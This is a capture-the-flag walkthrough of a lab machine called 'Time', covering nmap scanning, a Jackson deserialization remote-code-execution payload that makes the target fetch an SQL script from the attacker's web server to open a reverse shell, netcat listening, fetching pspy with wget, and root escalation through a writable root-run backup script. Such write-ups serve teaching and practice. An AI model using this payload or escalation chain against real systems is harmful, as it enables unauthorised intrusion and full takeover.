search

Time

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.214 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.214 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's take a look at the website.

hashtag
Exploitation

If we insert some JSON code, the tool will beautify it, and show it in the output.

Also, we have the Validate (beta!) option. And if we press on the PROCESS button without any input, we'll get the following Java error.

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: No content to map due to end-of-input

The error seems to be a Jackson error. If you do some research, you'll find this postarrow-up-right, explaining that you can have an RCE (Remote Code Execution) with this tool.

circle-info

Jackson is a high-performance JSON processor for Java. Its developers extol the combination of fast, correct, lightweight, and ergonomic attributes of the library.

First, let's create a file called exploit.sql that contains the following code, which will send us a reverse shell. Make sure to change the IP address.

Now, let's set a simple HTTP server with python on the directory where the exploit.sql is.

python -m http.server 80

Then, let's set a netcat listener on port 4444 with netcat.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Finally, if we put the following payload on the input, and press on the PROCESS button, it will download the exploit.sql file from our HTTP server, and it will send as a reverse shell as the pericles user. Then, we could grab the user flag.

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.2/exploit.sql'"}]

hashtag
Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

At this point, I tried to look for scheduled tasks on the system with the pspy tool. Let's transfer pspyarrow-up-right to the time machine.

circle-info

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

https://github.com/DominicBreuker/pspyarrow-up-right

python -m http.server

On the time machine, go to the /tmp directory, download the binary, and give it execution permissions.

cd /tmp

wget http://10.10.14.2:8000/pspy64

chmod +x pspy64

If we execute the tool, we'll see at some point that the root user, with the UID set to 0, is executing the /usr/bin/timer_backup.sh script.

./pspy64

If we see the permissions of that file, we'll see that we can modify it.

ls -l /usr/bin/timer_backup.sh

Let's change the script, so that when the root user execute it, the /bin/bash binary, we'll get the SUID permission, and we'll be able to get a shell as root.

nano /usr/bin/timer_backup.sh

Finally, if we wait for a bit, we'll see that the bash binary will get the SUID permission.

ls -l /usr/bin/timer_backup.sh

Then, all we have to do is execute bash with root permission, and reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?